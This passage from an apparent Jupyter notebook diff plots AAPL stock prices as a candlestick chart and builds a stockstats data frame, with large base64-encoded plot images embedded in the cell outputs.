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\n"
+     },
+     "metadata": {
+      "needs_background": "light"
+     }
+    }
+   ],
+   "source": [
+    "fig = plt.figure(figsize=(10, 10))\n",
+    "ax = plt.subplot()\n",
+    "\n",
+    "plot_data = []\n",
+    "for i in range(150, len(df_aapl)):\n",
+    "    row = [\n",
+    "        i, \n",
+    "        df_aapl.Open.iloc[i], \n",
+    "        df_aapl.High.iloc[i], \n",
+    "        df_aapl.Low.iloc[i], \n",
+    "        df_aapl.Close.iloc[i], \n",
+    "    ]\n",
+    "    plot_data.append(row)\n",
+    "candlestick_ohlc(ax, plot_data)\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 10,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "from stockstats import StockDataFrame\n",
+    "stocks = StockDataFrame.retype(df_aapl[[\"Open\", \"Close\", \"High\", \"Low\", \"Volume\"]])"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 11,
+   "metadata": {},
+   "outputs": [
+    {
+     "output_type": "display_data",
+     "data": {
+      "text/plain": "",
+      "image/svg+xml": "\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n            \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n                \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n                  \r\n     \r\n    \r\n   \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n   \r\n",
+      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAX0AAAD8CAYAAACb4nSYAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4zLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvIxREBQAAIABJREFUeJzs3Xd4VUX6wPHvJKQXEpJQUoDQQgcx9IBIEUQsCCgqiIjYcNXf2tHVdRV1VVwVhF0VFRGlSm/SIfReQgsQIJX03pP5/TG5l4R7E0J6mc/z8ORmzrnnzg3w3sl7Zt4RUko0TdO0+sGiujugaZqmVR0d9DVN0+oRHfQ1TdPqER30NU3T6hEd9DVN0+oRHfQ1TdPqER30NU3T6hEd9DVN0+oRHfQ1TdPqkQbV3QEAd3d32bJly+ruhqZpWq1y5MiRWCmlx+08p0YE/ZYtW3L48OHq7oamaVqtIoS4ervP0ekdTdO0ekQHfU3TtHpEB31N07R6RAd9TdO0ekQHfU3TtHpEB31N07R6RAd9TdO0ekQHfU3TtGryr53/YlvItip9TR30NU3TbiExM5GPd31MclZyhV0zNj2Wf+74J3uu7amwa5aGDvqapmm3sOniJv6x/R90+283MnMzK+SaWy9vRSIZ1npYhVyvtHTQ1zRNu4XEzEQAriReYX3wepPjVxKvMHPvTKSUpb7m5subaWjTEH9P/wrrZ2nooK9pmnYLCZkJxsdXE03L3cw+OJvXN7/OmZgzpbqelJLNlzczpNUQGlhUbQk0HfQ1TdNuISEjARtLG2wb2BKeEm5yfF/YPoBS35S9EHeBa0nXGNaqalM7oIO+pmnaLcVnxONq54q3szdhyWFFjmXlZnE4QlUJ3naldEF/8+XNADUz6AshfIQQ24UQZ4UQQUKIVwravxBCnBNCnBRCrBBCuBR6zjtCiItCiPNCiOGV+QY0TdMqW0JmAo3sGuHl5GUy0j8WdYzsvGyaOjZl55Wd5OXnmTw/MiWSg+EHjd9vvrwZXxdfWjdqXel9v1lpRvq5wGtSyg5AH2CaEKIjsBnoLKXsClwA3gEoODYe6ASMAOYIISwro/OapmlVISEzAVdbV7ycvQhPLhr094buBeC1vq+RkJlgNq//wY4PGPjzQGLTY8nJy2F7yHbuaX1PlfT9ZrcM+lLKSCnl0YLHKcBZwEtK+ZeUMrfgtP2Ad8HjB4FFUsosKWUIcBHoVfFd1zRNqxoJGQkqvePkTXhKuHGWTmZuJrMPzqZ70+4M8R0CwPm480gJx47Be+/BXXfBil3nycrLYt7ReRwIP0BKdgrdnYYxZw7s3l217+W2bhsLIVoCdwAHbjr0NLC44LEX6kPAIKygTdM0rVaKz4inc+POeDl7kZ2XTWx6LO727ny440NCEkPYMnELbRq1AWD27xd583cICQFLS7jzTojjIgCfbJ5Lh5wUsLbghRGDIRP+/ncYMKDq3kupb+QKIRyB5cCrUsrkQu3volJACw1NZp5uMnlVCPGsEOKwEOJwTEzM7fVa0zStChXO6QNcTrjM1DVT+WzPZzzV/SmGtBqCyHHCKqsJO08H4+cHP/4IUVGwIzAD6RiBS+YdJFtc5QDf4JzSk5kzXDl3Dr78smrfS6lG+kIIK1TAXyil/LNQ+yRgFDBE3liVEAb4FHq6NxBx8zWllN8D3wP4+/uXfkWDpmlaFcrNzyU5KxlXW